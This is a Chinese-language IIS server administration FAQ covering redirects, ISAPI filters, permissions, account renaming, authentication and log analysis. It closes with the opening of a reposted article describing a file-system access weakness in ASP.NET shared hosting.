您很可能需要为您的服务器手动配置 URLScan.ini 文件。我们建议,只有经验丰富的管理员才可以编辑 URLscan.ini 文件。请阅读从 IIS Lockdown 实用工具中提取的 URLScan.doc 文件中的使用说明。运行 IISLockdown 工具向导来安装 URLScan 的好处之一是,它为您配置了 URLScan.ini 文件。

使用 URL 中的参数重定向请求

问:是否有办法使用 URL 中的参数作为重定向的一部分,而不使用 ASP?换言之,当人们访问我们的站点 www.oursite.com?A=1 时,我们想将此请求转发到 www.theirsite.com?A=1 站点。

答:在 web 站点、目录、虚拟目录或文件的属性中,您可以将文件的位置指定为“本地”、在“另一系统上”(带一个 UNC 路径名),或者将请求重定向。如果您选择重定向请求,您可能要用到鲜为人知但功能十分强大的重定向变量。就您的情况而言,您需要在 Redirect To(重定向至)文本框中输入 http://www.theirsite.com$P。$Q 替换变量将全部问号及其后的参数附加到重定向请求后。

还有许多其他的重定向变量使您能够不用编写代码就可以执行替换和其他操作。您可以在 IIS 联机帮助文件中的 Redirect Reference(重定向参考)部分找到更多有关重定向参数方面的信息。

[SplitPage]

能否在 Windows XP Home Edition 上安装 IIS 或 PWS?

问:我曾在某处读到过,不能在运行 Windows XP Home Edition(家庭版)的计算机上运行/开发 ASP.Net 应用程序。是否有办法在运行 XP 家庭版的计算机上安装 IIS 或 PWS?我有 VS.Net 专业版,但尚未找到用 ASP.Net 进行开发的方法。

答: Windows XP Home Edition(家庭版)不支持 IIS 的任何版本。据我所知,没有任何可靠的方法能让它运行 IIS。Windows XP Home Edition 不适合用作基于 Web 的应用程序的开发平台。升级到 Windows XP Professional 后将允许您在系统上安装 IIS 5.1,这样您就可以用 ASP.Net 进行开发了。Windows XP Professional 上的 IIS 5.1 是一个全功能的、强大的 Web 服务器,但仅限于使用 10 个同时连接,因为 Windows XP Professional 是一个工作站操作系统而非服务器平台。在将 Windows XP Professional 用作客户端操作系统而非服务器操作系统时,还有其他几点限制。大体上说,这两者的区别,就是将 IIS 5.0 安装在 Windows 2000 Professional 上时与安装在 Windows 2000 Server/Advanced Server 上时您会看到的那些区别。但尽管如此,在使用 .NET 框架开发基于 web 的应用程序时,Windows XP Professional 仍是一种优秀的开发环境。

ISAPI 筛选器能否在独立的进程空间中运行?

问: IIS 5.0 允许 ISAPI 扩展在独立的进程空间运行。ISAPI 筛选器是否也能在独立的进程空间运行呢?在我们安装一个包含 ISAPI 筛选器的软件后,我们一个客户的 IIS 服务器每过两三天就重启一次。最后一次故障转储显示 inetinfo.exe 因为“除以 0 的错误”而崩溃,但它在 ISAPI 筛选器中没有崩溃。如果能在独立的进程空间运行 ISAPI 就好了,这样它就不会与 inetinfo.exe 冲突。

答:再重述一次,针对在 web 服务器上运行这一目的而编写的程序有特定的要求。例如,您不能通过 URL 来调用 Notepad.exe 的一个实例并期望在客户端系统上看到记事本窗口。为让一个可执行文件(不是 CGI)与来自 IIS 的请求交互,需要用 ISAPI 来编写它。ISAPI 的意思是“Internet 服务器应用程序编程接口”。ISAPI 可执行文件分两类–扩展和筛选器。

ISAPI 扩展可从像 http://localhost/myisapi.dll 这样的 URL 直接调用。假定您将 IIS 配置为允许执行目录上的“脚本和可执行文件”而且用户具有 NTFS“执行”权限,则该 dll 将可以运行。IIS 允许您指定让应用程序在进程中运行(作为 inetinfo 的一部分来运行)还是在进程外运行(在 IIS 4 上作为 MTX 的一部分运行,或在 IIS 5.x 上作为 dllhost 的一部分运行)。当一个应用程序在进程外运行时,inetinfo 就会与您所说的那类问题隔离开,不受其影响。如果应用程序失败,则 web 服务器也将失败。

而 ISAPI 筛选器则全然不同。ISAPI 筛选器能够修改传入和传出 IIS 的数据流。所以,它们有强大的能力,可用来实现自定义的日志记录、身份验证,也可用来修改数据流。IIS 5 的 ISAPI 筛选器中实现的功能包括数据压缩、简要身份验证和 URLScan。

因为筛选器在 IIS 中扮演着这样一种重要角色,所以在设计上,它们总作为 inetinfo 的一部分在进程中运行。因此,如您所知,正确构造 ISAPI 筛选器对于服务器的正常运行来说是十分重要的。我的建议是,您可以让 Microsoft 产品支持服务与您一道找出问题所在,因为这类异常的诊查工作可能会相当难。

就这一问题,有几种新技术可能会使您的工作略轻松一点。一是期望使用 IIS 6。由于它采用新的体系结构,所有 ISAPI 筛选器都在进程外运行。这样可让您实现将 web 服务器与反复无常的 ISAPI 筛选器隔离起来的目标,但并没有真正解决问题。为最终解决问题,请评估一下 .NET 语言在实现 ISAPI 筛选器方面的能力。我估计您会发现,用 .NET 实现同样的功能,将比采用 C++ 语言的标准 ISAPI 筛选器设计要简单得多。

使用 WebDAV 从 ASP 编辑文档的代码示例

问:在哪里能找到使用 WebDAV 从 asp 编辑文档的代码示例?

答:在使用 IIS 上的脚本中的 WebDAV 时,您最有可能使用的是 ASP.Net 的 WebClient 类。如果您在使用 Windows XP 或 Windows .NET 服务器,则操作系统中已包含 WebDAV 功能。这使您可以像使用 UNC 路径那样,用 HTTP 来引用一个 web 服务器上的文件。例如,您可以用 NET USE * http://servername/directory 命令来映射一个驱动器,然后用该驱动器符号访问此位置。或者,您也可以创建一个用作 WebDAV 客户端的 COM 对象。您可以用此对象向 IIS 5.x 或 IIS 6.0 发出 WebDAV 操作命令。

另外,如果您在 MSDN 上搜索 WebDAV,您会找到很多关于如何用 XML 为 Exchange 和其他 Microsoft 服务器创建 WebDAV 查询的示例。在 Microsoft Exchange 2000 Server SDK 中有一个 WebDAV 示例应用程序。

尝试用 ASP 访问数据库时“访问被拒绝”

问:我们在使用 ASP 访问一个数据库,但当我们向数据库中写入新内容时,总是出现“访问被拒绝”这一结果。在运行 NT 4.0 工作站和运行与之相当的 web 服务器时 ASP 页没有问题,但升级到装有 IIS 5.1 的 Windows XP Professional 后,它就无法使用了。问题好像出在某些目录的访问权限上,但我们怎样才能确定问题究竟在何处呢?

答:有一种极棒的免费实用工具,叫做 Filemon,可以到 http://www.sysinternals.com 上找到它。在我讲授 IIS 时,我让学生们将此工具保存在软盘上,不管到哪里都随身带着它。我并不完全是在开玩笑。您可以用 Filemon 快速诊断出多数权限问题,因为它可以实时显示服务器上被访问的所有文件、调用进程的名称以及访问结果。这样,对于任何“访问被拒绝”消息,不管问题在嵌套的 include 中埋多深,也不管临时索引有多模糊–都可轻松找出。

如果某一应用程序在一个操作系统上可以使用,而在操作系统升级后它无法工作了,这会让人很沮丧。不过,这类问题往往都很有启发性。IIS 4 和 IIS 5 之间存在的一种差异与 COM 和 COM+ 之间的差异有关。在 IIS 5 中,当一个 COM+ 对象代表用户访问文件时,其默认行为是使用用户的安全上下文进行访问。在 IIS 4 中则不是这样。所以,当您将包含 COM 的应用程序从 IIS 4 迁移到 IIS 5 时,您可能需要提供针对这些文件的用户权限,尽管在 IIS 4 中不要求提供这些权限。有时这可能不大方便,比如您所遇到的情况;但是,在应用程序的安全设计方面,这确实是一项改进。尽管您可能没有使用自定义 COM 对象访问数据库,但 COM 在本机 IIS 组件中的应用很广泛。

体现这一要求的场合,是在需要授予对 Access 使用的临时文件夹的权限以及需要向创建数据库请求的用户授予权限时。有关更多信息,请参阅 Microsoft 知识库文章 Q210457 和 Q271071。

如何在不恢复原设置的情况下运行 IIS 锁定工具

问:我们在我们的服务器上运行了“IIS 锁定”工具,它在对系统执行一些基本的安全设置修改时看起来很成功。但在运行此工具后,我们又给服务器添加了一些功能和内容,然后想再次运行此工具。然而,当我们启动 IIS 锁定向导时,它显示:

如果您的浏览器不支持内嵌框,请单击此处在单独的页中查看。

在这种情况下,我们不想还原到以前的设置,因为这样做会让我们丢掉存储在元数据库中的、对 IIS 配置所做的更改。我们怎样才能再次运行 IIS 锁定工具而又不用先执行还原呢?

答:在我看来,IIS 锁定工具是 Microsoft 真正的压轴戏。如您所说,此工具让您能够轻松而又显著地增加您服务器的安全性。运行此工具后,它将其操作历史存储在位于以下位置的一个文件中:system32inetsrv。您将可以在以下文件中找到此信息:

- Oblt-rep.log

- Oblt-once.md0

- Oblt-mb.md0

如果您运行了上面显示的“撤销”任务,则还会有一个 Oblt-undone.log 文件。

如果您删除这些文件,则将启动向导,好像没有运行过 IIS 锁定工具一样。据我所知,重复执行此过程没有什么风险。但在这样做之前,一定要为 metabase.bin 制作一个副本。

因为这一方法能够让您像没有运行过锁定工具那样再次运行它,但又不撤销该锁定工具第一次运行时实现的设置或对它们“解除锁定”,所以对于您所说的情形,此方法应当行得通。 [SplitPage]

如何发送用以实现重定向的查询字符串信息

问:在我们最初的Web服务器配置方案中,多个文件夹中均包含称作browse.asp的页面。为简化设计方案,我们目前只在单一文件夹中保留了一个browse.asp文件。然而,服务器目前仍然接受来自用户且要求在原先位置上寻找borwse.asp文件的服务请求。我希望将这些请求重定向到存放browse.asp文件的新位置上。通过使用IIS所内建的重定向功能,这项工作看起来似乎非常简单,然而,在实际处理过程中,查询字符串信息好像总是被丢失。举例来说,我们将针对http://servername/oldfolder/browse.asp的请求重定向至http://servername/newfolder/browse.asp。当用户向服务器发送形式为http://servername/oldfolder/browse.asp?cat=135的URL时,重定向操作虽然能够执行,但却无法传递查询字符串。请问是否存在某种方式能够允许IIS发送从原始请求URL中提取的查询字符串信息?

答:在指定IIS如何对URL进行重定向方面,IIS为您提供了相当程度的灵活性。IIS中所包含的一项鲜为人知但却非常实用的特性能够允许您在重定向过程中使用变量,从而实现了能够精确指定向目标URL传递哪些内容的高级控制能力。举例来说,在您所描述的情况下,右键单击原有browse.asp文件,在“文件”选项卡上选择“重定向至URL”并输入http://servername/newfolder/browse.asp$Q。这种设置方式将使用内建服务器重定向变量$Q将原有URL中所包含的查询字符串部分内容发送到新的位置上。以下表格列出了在线IIS 5帮助文件以及编号为Q313074的Microsoft知识库文章中所包含的有关查询字符串的详细信息。

变量

描述

举例

$S

对请求URL中相匹配的后缀信息进行解析。相匹配的后缀信息是指原始URL中重定向URL被替代后所剩余的部分。

如果将/scripts重定向为/newscripts且原始请求URL为/scripts/program.exe,则/program.exe即为后缀信息。服务器将自动执行后缀替换操作,$S变量仅用于同其它变量配合使用。

$P

对原始URL中的参数进行解析。

举例来说,如果原始URL为/scripts/myscript.asp?number=1,那么,字符串“number=1”将被映射到目标URL中去。

$Q

对于从原始URL中所提取出的问号和参数进行解析。

举例来说,如果原始URL为/scripts/myscript.asp?number=1,那么,字符串“?number=1”将被映射到目标URL中去。

$V

对于请求URL中除服务器名称以外的其它信息进行解析。

举例来说,如果原始URL为//myserver/scripts/myscript.asp,那么,字符串“/scripts/myscript.asp”将被映射到目标URL中去。

$0 至$9

对请求URL中与指定通配符相匹配的部分进行解析。

举例来说,如果针对最低级别的目录名称(如*/default.htm)使用一个通配符,那么,URL中包含Default.htm的目录名称部分将被转发。

!

不进行重定向。

使用这个变量以防止对虚拟目录中已经实现重定向的子目录或独立文件进行再次重定向。

缓存溢出攻击事件中术语“在进程以内”与“在进程以外”的区别

问:能否澄清一下不同运行方式之间的区别所在?

在进程以内运行的应用程序与在进程以外运行的应用程序相比,如果遭到缓存溢出攻击的话,分别将会出现何种情况?

答:我始终认为“在进程以内”这一术语存在一些混淆。所有应用程序均在某个进程中运行,因此,实际上并不存在所谓“在进程以外”运行的应用程序。然而,我们经常在有关IIS应用程序的参考文献中见到这个术语,那么,它究竟代表何种含义呢?在IIS 4与IIS 5.x中,包含一个名为inetinfo的进程。当Web应用程序“在进程以内”运行时,该应用程序将在inetinfo进程内部运行。对于IIS 4应用程序来说,缺省情况下,应用程序将在inetinfo进程内运行。

与此相对应,“在进程以外”运行的应用程序是指那些并非在inetinfo进程中运行的应用程序。对于IIS 4,“在进程以外”运行的应用程序宿主于一个名为MTX的进程;对于IIS 5.x,此种应用程序则宿主于一个名为dllhost的进程。

所有进程均在某个用户帐号的安全环境中运行。Inetinfo进程在System帐号下运行。MTX(IIS 4)和dllhost(IIS 5.x)则在IWAM_帐号下运行。

现在,我们已经对回答您的问题所涉及的相关概念进行了解释。在一次成功的缓存溢出攻击事件中,攻击者可能会在托管失败应用程序的进程安全环境中运行相关代码。因此,如果您的应用程序在进程以内(在inetinfo进程中)运行,攻击者将在具备全面服务器访问权限的System安全环境中运行。如果您的应用程序在进程以外(在MTX或dllhost进程中)运行,攻击者将在仅仅具备有限服务器访问权限的IWAM帐号安全环境中运行。

需要特别注意的是,在缺省配置方案中,IIS 5按照中等应用程序保护设置(在进程以外模式下采用池分配方式)“在进程以外”运行所有应用程序。由于前面所提到的原因,这种运行方式与在进程以内运行应用程序相比要安全可靠得多。与缺省设置相比,由于通过System帐号访问服务器在IIS 5上所导致高发性缓存溢出攻击使服务器极易遭受攻击。在针对IWAM与IUSER帐号应用严格限制条件的同时,通过运行IIS Lockdown工具还可实现额外的安全性。

顺便提及一下,(作为Windows .NET Server 2003的组成部分之一)IIS 6采用这样一种配置方式,即在缺省的工作进程独立模式下,缓存溢出攻击根本无法通过具备高级权限的用户帐号对服务器进行访问。

如何在重建站点后继续使用原先的日志文件

问:我有一个与IIS元数据库文件相关的问题。当您在IIS 5服务器上创建一个新的Web站点时,日志文件夹将随该Web站点一同创建。IIS通过增量方式对这个文件夹进行命名。这种方式有效避免了日志文件夹命名不当或遭到意外破坏的情况。然而,当您删除并重新安装一个‘站点’时,您将丢失所有先前使用的元数据。同时,日志文件夹位置也将随之丢失。此文件夹现在将是按照增量方式最后创建的日志文件夹。[如果前一个取值为W3SVC8,那么,当前日志文件夹应为W3SVC9]。请问是否能够通过某种方式对元数据库进行编辑,以便使IIS将站点属性指向原有日志文件夹名称?

答:您描述了一个非常有趣的问题,但是您所建立的假设需要进行澄清。是的,IIS确实创建一个日志文件夹,通常情况下,这个文件夹是c:windowswinntlogfiles目录。同时,正如您敏锐观察到的那样,如果删除并重建一个Web站点,日志文件夹名称将发生变化。然而,IIS并非为避免与原先日志文件产生冲突而采用增量方式对日志文件夹进行命名。与此相反,用以保存日志文件的文件夹名称是基于元数据库中所存储的Web站点“站点编号”–有时也称作实例编号–生成的。您所创建的每个站点均拥有一个独立编号,当您每次创建新的Web站点时,这个编号将依次递增。您可以通过MetaEdit工具清楚的观察到这一点,该工具以文件夹1、2、3的形式(此种情况下为元数据库键值)来显示各个Web站点,通常情况下,1代表缺省Web站点,2代表管理Web站点,以此类推。(具体情况请查看图1)。

图1. MetaEdit用户界面

由此可见,如果您拥有1、2、3三个站点,当您删除站点2并希望通过从IIS控制台创建一个新的Web站点来“重建”原有站点时,IIS将为其分配下一个取值最大的站点编号,当前情况下为5。此后,日志文件将被放置在名为w3svc5(而非w3svc3)的文件夹中。

一旦创建完毕后,由于其它键值(如站点根路径)需要对其进行引用,因此,建议您最好不要对站点ID进行修改。在这种情况下,您只需将日志文件从原先使用的日志文件夹中复制到新建日志文件夹中。

然而,如果您通过脚本而非用户界面来创建Web站点的话,您可以指定希望针对“还原”Web站点所使用的站点ID。通过此种方式,您可以实现预先期望的目标。您可以从InetpubAdminscripts文件夹中找到一个缺省安装的名为mkw3site.vbs的脚本。在记事本或其它文本编辑器中打开这个脚本以查看其中所使用的语法,您会发现其中的参数之一为Sitenumber。这个参数允许您使用自己指定的站点编号而非通过IIS控制台以增量方式确定的下一个站点编号来创建Web站点。 [SplitPage]

如何在IIS上运行除ASP以外的其它类型脚本

问:我们希望在自己的IIS服务器上运行PHP和Perl程序,但我们始终无法找到允许这些脚本程序正常工作的正确方式。我们手中拥有大量非常实用的脚本,但如何才能允许IIS运行除ASP以外的其它类型脚本呢?

答:Microsoft公司在Windows 2000资源工具包中提供一种版本的Perl解释程序,但如需获取最新版本且功能最为完善的解释程序,您应从站点http://www.activestate.com/上下载该产品的最新发布版本。从那里,您将能够获得一个称作ActivePerl的软件包,该软件包中包含能够针对.pl和.plx文件创建应用程序映射关系的安装例程,从而允许您对上述类型的脚本文件进行管理。换言之,如果您希望针对所有脚本使用.pl文件类型,那么,您可以删除针对.plx文件的应用程序映射关系。在条件允许的情况下,您应尽可能使用perl.dll解释程序来替代perl.exe解释程序以获得更加优异的性能与可伸缩性。除此之外,您还可以从站点http://www.iisanswers.com/Top10FAQ/t10-installperl.htm上以及编号为Q245225的知识库文章中获取有关这一主题的操作指导文章,

您可以从站点http://www.php.net/上下载PHP解释程序以及大量相关文档与在线资源。

针对java应用程序的JRUN可以从站点http://www.macromedia.com/software/jrun上获取。

ASP.net可以通过站点http://gotdotnet.com/或Windows更新服务获得。

如何检测哪台计算机上安装了IIS

问:我想知道是否存在一种工具能够检测出某台PC机上是否安装了IIS。我们目前拥有3000多台PC,我需要通过一种方式来确定哪些计算机上安装了IIS。

答:Microsoft提供了两种允许您对子网进行扫描的工具。HFNetChk和Microsoft Security Baseline Analyzer(MSBA)将在您的网络中对所有装有Microsoft网络客户端和文件与打印共享服务,以及正在运行服务器、工作站和远程注册表服务的系统进行扫描,以标识出“特定”类型的系统。如果这些服务无法正常工作,您还可以借助诸如fport(这种工具可以从站点http://www.foundstone.com/上进行下载,它将告诉您网络中各个系统上有哪些端口处于打开状态)之类的工具进行端口扫描。当然,由于IIS能够对用户所选择的任意端口进行监听,因此,您无法通过这种端口扫描操作来判断与每个端口相关联的服务;尽管如此,根据经验判定,如果80端口处于可用状态,那么,它很可能正在被IIS使用。来自Foundstone公司的另一种免费实用工具Superscan能够以“标语”形式显示出由您所连接到的服务返回的信息。这项细微改进能够快速完成网络扫描并报告所发现的内容。

除以上所介绍的方法外,当用户通过自己的帐号进行登录时,您还可以从用户的登录脚本中测试出IIS是否存在。凭借Internet上针对这一目的所提供的各种选择方案与可用工具,您将实现一个良好的开端。

在添加Internet服务后是否需要重新应用热修补程序和服务软件包?

问:我们在Windows 2000服务器上安装了IIS,但没有安装任何其它类型的Internet服务。现在,我们需要为一个要求从服务器上发送电子邮件的Web应用程序添加SMTP服务。如果我们添加SMTP服务的话,是否需要重新应用最新的服务软件包和热修补程序?

答:在Windows NT 4.0中,当您向操作系统中添加诸如SMTP之类的服务时,您需要重新安装服务软件包和热修补程序。在Windows 2000中,这种情况得到的明显改善,当您安装软件、服务或更新程序时,通常情况下无需重新应用服务软件包。举例来说,您可以安装不含IIS的Windows 2000操作系统,并应用服务软件包x(其中x为最新服务软件包编号),此后,当您安装IIS时,其二进制(程序)版本编号将自动与服务软件包(SP)x保持相同的级别。这项特性在添加诸如SMTP之类的服务时为您减少了大量工作。然而,热修补程序和滚动升级程序又产生了另一个问题。尽管您的SMTP服务能够与SP x处在同一级别上,但您还需要重新应用与该服务相关的热修补程序和滚动升级程序。举例来说,当您卸载或重新安装IIS时,在最近应用的服务软件包发布后出现的所有IIS热修补程序与滚动升级程序都必须重新加以应用。

确保您已经应用所有必要热修补程序和服务软件包的最佳方式是在系统中使用HFNetChk或Microsoft Security Baseline Analyzer(MSBA)。这是确定需要在服务器上应用哪些热修补程序及更新程序的最可靠方式。由此可见,正确的操作过程是首先安装SMTP,之后,运行上述工具之一以确定需要应用哪些热修补程序。[SplitPage]

重新命名IUSR帐号

问:重新命名IUSR帐号将导致何种后果?

答:IUSR帐号通常称作“Web匿名用户”帐号或“Internet来宾”帐号。IUSR帐号是一种常用的简写形式,该帐号的实际格式为IUSR_,其中,是安装IIS时所使用的Netbios服务器名称。正如您可能已经知道的那样,当IIS服务器启用匿名身份验证方式,且该服务器上存在针对特定访问请求类型具备适当NTFS权限的IUSR帐号时,系统将自动对其加以应用。

由于此帐号的名称是众所周知的,因此,为加大网络黑客在服务器上猜测用户名称与口令的难度,建议您在那些对安全性要求较为严格的环境中对IUSR帐号名称进行修改。对于需要具备高度安全性的服务器而言,这是一项非常良好的建议,然而,有几种注意事项您必须时刻牢记。

当修改匿名用户帐号名称时,您必须同时在Internet Information Services管理器和针对本地计算机的用户与组中对其进行修改(假设针对匿名用户使用本地帐号)。如果您在用户与组中删除IUSR帐号或对其名称进行修改,但未在Internet服务管理器中分配新的匿名用户帐号,那么,IUSR帐号将会在下次重新启动系统时自动重建。我经常简单的禁用当前IUSR帐号并创建一个新的帐号,之后在Internet服务管理器中针对匿名访问分配新建帐号。如果您正在使用IIS Lockdown工具的话,请将新建用户帐号设置为Web匿名用户本地组中的成员。

当您针对匿名用户创建新的用户名称与口令时,请一定确保使用一个难以破解的口令。Windows 2000操作系统中的匿名用户帐号是一个随机生成的由14个字母与数字所组成的字符串。通常情况下,按照人的一般习惯,事后创建的口令在保密效率上要远远低于匿名用户最初所使用的口令,因此,您一定要确保创建一个不易破解的口令。

只要心中牢记这些注意事项,在修改帐号的过程中就不会节外生枝,最后,请一定不要忘记在Internet Information Services管理器中指定新的匿名用户帐号。

查看以往的专栏文章:2001年12月:“如何确保IUSR帐号安全性。”

利用FrontPage Server Extensions管理您的NTFS权限

问:我们在自己的IIS 4和IIS 5服务器上装载了FrontPage Server Extensions 2000。我们发现,一旦载入FrontPage Server Extensions 2000,服务器上的NTFS权限便会遭到修改。新的权限中将包含对网络与交互组的使用。您能否解释一下这些组的作用以及FrontPage Server Extensions如何管理NTFS权限?

答:当您在Web服务器上安装FrontPage Server Extensions(FPSE)时,需要确定允许FPSE自动管理相关权限,还是希望手工管理相关权限。缺省情况下,FPSE将自动对其所处Web站点的权限进行管理。如果需要的话,您可以禁用这种自动管理方式,为此,您只需在Internet Information Services管理器中的服务器图标上右键单击鼠标,选择“Server Extensions”选项卡,并选定“手工管理权限”复选框。请注意,这是一个服务器级选项,它无法针对各个站点采取不同的设置。在此,我强烈建议您从允许FPSE自动管理权限或手工管理权限这两种方式中选择其一,而不要尝试同时使用这两种方式。

位于网址http://officeupdate.microsoft.com/frontpage/wpp/serk/上的FPSE 2000资源工具包提供了关于由FPSE所分配并维护的相关权限的详细信息。这些权限中包含您在问题中所提到的针对网络与交互组的使用情况。

网络组是一种自动进行维护的本地组,它由所有包含某种网络登录类型的用户所组成。网络组中的成员通常通过网络进行登录。交互组同样是一种自动进行维护的本地组,它由所有包含某种本地登录类型的用户所组成。本地组包含在计算机控制台上进行登录的用户以及通过基本身份验证功能实现身份验证的用户。

从多种身份验证方法中进行选择

问:IIS 5允许您针对Web站点选择多种不同的身份验证方法。当您同时选择匿名身份验证、基本身份验证和集成化Windows身份验证方法时,请问IIS将如何选择针对特定用户的身份验证机制?

答:针对这一问题的背景情况比较复杂,但其可以通过几条规则来加以总结。这些规则同时适用于IIS 4和IIS 5。有关身份验证方法的第一条不变规则是“如果可能的话,您将首先以匿名用户的身份通过验证。”从资源角度考虑,这种方式只要求在服务器上启用匿名身份验证方式–即确保匿名用户拥有访问请求资源的权限。针对这条规则的唯一例外情况是,用户已经以匿名用户以外的其它用户身份通过验证,且系统支持除匿名验证方式以外的其它身份验证方式。

假设您已经选择了多种身份验证方法,且用户无法凭借匿名用户身份通过验证,那么,如何确定所需采用的身份验证方法呢?答案是IIS将向客户端提供一份身份验证方法列表,由客户端自行选择何种方法最为安全可靠。当您同时选择基本身份验证和集成化Windows身份验证(或者IIS 4中的Windows NT 质询/响应身份验证方法)时,由于无法执行集成化Windows身份验证,Netscape将选择基本身份验证方法。相反,对于Internet Explorer来说,如果提供同样的选项,它将选择集成化Windows身份验证方法。在IIS 5服务器上,IIS与IE将进一步确定是否支持Kerberos,如果支持的话,最终将选择使用Kerberos身份验证方法。对于包括IIS 4在内的其它情况,将使用Windows NT 质询/响应身份验证方法。 [SplitPage]

重新命名IIS Server将会导致何种后果?

问:作为对11月份所提问题的延续:“请问对IUSR帐号进行重命名将会产生何种后果?”,我希望了解重命名服务器时针对IIS服务器所产生的后果。

答:服务器名称是在Windows 2000安装过程中分配的,此名称可以在安装完成后进行修改。从技术上讲,服务器名称、计算机名称和主机名称这三种术语均可用于描述计算机的Betbios名称。您可以在命令行窗口中使用“hostname”命令来确定当前服务器名称。

在Microsoft网络中,此名称用于通过WINS、DNS(在Windows 2000中)或使用Netbios名称表查找方式将服务器名称解析为IP地址。IIS并不使用这种服务器名称,因此,您可以任意对其进行修改。然而,这并不意味着其它应用程序或应用程序中所包含的COM对象均独立于服务器名称。举例来说,如果运行IIS 4的服务器上安装了Site Server 3,那么,系统便不支持您修改服务器名称。当您在运行IIS 4的服务器上修改服务器名称时,需要完成一些必要的内部管理工作,如需获取有关这些工作的详细描述信息,请参阅http://support.microsoft.com/default.aspx?scid=kb;EN-US;234142&sd=tech。相比之下,IIS 5的处理方式则截然不同,我经常对运行IIS 5的Windows 2000服务器进行服务器名称修改操作,且从未遇到过任何异常现象;但是,尽管如此,我还是建议您不要轻易执行这项操作。

如需修改服务器名称,请右键单击“我的电脑”,在随后出现的快捷菜单中选择“属性”并单击“网络标识”。此后,单击“属性”按钮以查看“计算机名称”设置。

在执行此类修改操作后,请牢记,服务器名称以及IUSR_和IWAM_用户帐号仍将反映原有的服务器名称。这些对象未被更新为反映新的服务器名称。然而,这与IIS没有任何关联,匿名身份验证过程(以及由此衍生而来且以IWAM用户帐号身份运行的处理应用程序)仍将顺利执行。如果使用诸如远程MMC控制台、脚本或终端服务客户端之类需要查找原先服务器名称的远程应用程序,那么,您还需要进行其它一些修改。此外,通过IIS服务器上的文件共享方式进行内容发布的客户端需要使用新的服务器名称对其共享文件夹连接进行更新。

请记住,安装证书服务的Windows 2000服务器无法修改自身标识。在对相应计算机名称进行修改,或者将其加入到域中或从域中剥离之前,您必须首先卸载证书服务。

“语法分析程序错误消息”具有何种含义?

问:我拥有一台装有最新补丁程序的IIS 5服务器,这台服务器总是收到内容为“语法分析程序错误消息:这是一个由于在应用程序层上使用注册为allowDefinition=‘MachineToApplication’的部分所导致的错误。这个错误可能是由一个在IIS中未被配置为应用程序的虚拟目录所造成的。”的出错信息。请问这是为什么?

答:我喜欢这些内容详细的ASP.NET错误消息!它们不仅描述了出现问题的原因,同时还经常为您提供解决方案。如果您的ASP.NET应用程序被配置为需要使用那些在元数据库定义好的“应用程序”的特性(如或),而这些“应用程序”定义又不存在,那么,您将看到这条出错信息。您可以通过从web.config文件中删除相关设置或分别在Web站点、虚拟目录或目录的“主目录”、“虚拟目录”和“目录”属性选项卡上点击“创建”按钮的方式纠正这种错误。为执行上述操作,您至少需要具备针对上述位置的脚本执行权限和读取权限。

如何分析URLScan日志文件?

问:为确定我们的服务器所遭受的攻击类型并对其进行分类,我们目前正在着手对W2SVC和URLScan的日志文件进行分析。虽然我们已经找到了能够载入W3SVC日志文件的产品,但这些工具却无一能够对URLScan的日志文件进行扫描。请问Microsoft公司是否提供了能够帮助我们对URLScan日志文件进行分析的产品或工具?

答:请问一种允许您针对URLScan日志、W3SVC、事件查看器记录或其它任意一种基于文本的日志文件(如防火墙或入侵监测系统日志)进行数据挖掘、格式变化并生成分析报告的免费实用工具是否能够满足您的需要?Microsoft所提供的免费日志分析器工具正是专为满足那些需要收集并报告从具有不同文件格式的日志文件或其它数据源中所提取重要信息的IIS管理员、系统管理员和安全管理员的日常工作需求而设计的。

日志分析器可以将采用多种不同格式的日志文件当作“数据源”进行处理,这些日志文件包括:

W3C Extended

IIS

IISMSID [在安装MSIDFILT过滤器或CLOGFILT过滤器后所生成的Microsoft IIS日志格式文件]

NCSA Common

二进制日志文件格式(针对IIS 6)

开放式数据库连接(ODBC)

URLScan

HTTP错误日志文件(针对IIS 6)

针对系统日志文件、应用程序日志文件、安全事件日志文件和EVT备份日志文件的事件查看器记录。

普通CSV文件

普通W3C文件,如个人防火墙日志文件,Windows媒体服务日志文件和Exchange跟踪日志文件。

文件与目录结构信息。

普通文本文件

日志分析器包含一种允许您通过运行SQL查询语句的方式生成分析报告或重新格式化信息结构的查询引擎。某些通过SQL语法实现的技巧将为您提供极大的便利。

例如,您可以通过以下语句针对某个Web站点汇总每小时处理的请求个数以及所发送的字节数量: Select TO_STRING(TO_TIMESTAMP(date, time), 'yyyy-MM-dd hh') AS Hour,

COUNT(*) AS Total,

SUM(sc-bytes) AS TotBytesSent

FROM ex*.log

GROUP BY Hour

orDER BY Hour

当然,您还可以通过单独文件夹或文件以及日志文件中所提供的诸如日期、时间之类的参数来缩小查询范围。

按照相同的方式,您便可以对URLScan日志进行查询。以下示例将报告通过某一客户端IP地址所拒绝的请求次数: Select ClientIP,

COUNT(*)

FROM URLSCAN

Where Comment LIKE 'Url%'

GROUP BY ClientIP

日志分析器还提供了许多其它特性,其中包括将结果输出至XML文件的功能、提供日志分析器功能的Active X对象(通过ADO实现)、以及通过自定义模板格式化输出结果的能力。

显而易见,这是一种功能非常强大的实用工具,它将顺理成章的成为广大IIS管理员“工具包”文件夹中的一员。

2006/04/21Windows系统

51条评论
38 views

ASP.NET虚拟主机安全漏洞解决方案(转)

曾经很早就在网上看到一篇关于的文章,当时并不在意,做过asp虚拟主机的朋友可能都知道,即对每一个用户都设置一个独立的服务器用户和单个目录的操作权限,能够基本上解决asp的fso问题。

  在网上无意中发现了一个叫做webadmin的asp.net-webshell,对自己的服务器进行测试的时候,让我大吃一惊,居然对我服务器的c盘有读取的权限。以及对整个硬盘的修改删除权限。这样的话,那么我的服务器的安全……

  为了进一步证实,本人曾在国内一些著名的虚拟主机提供商上作过测试,均有和我一样的问题。

  有必要先介绍一下漏洞的原因。

  ASP中常用的标准组件:FileSystemObject,这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何有权限的目录和文件进行读写、删除、改名等操作。FSO对象来自微软提供的脚本运行库scrrun.dll中。

  在ASP.NET中我们发现这一问题仍然存在,并且变得更加难以解决。这是因为.NET中关于系统IO操作的功能变得更加强大,而使这一问题更严重的是ASP.NET所具有的一项新功能,这就组件不需要象ASP那样必须要使用regsvr32来注册了,只需将Dll类库文件上传到bin目录下就可以直接使用了。这一功能确实给开发ASP.NET带来了很大的方便,但是却使我们在ASP中将此dll删除或者改名的解决方法失去效用了,防范此问题就变得更加复杂。需要进一步了解的朋友可以看一文,本文就不再重复。只针对此问题引出虚拟主机的安全设置。

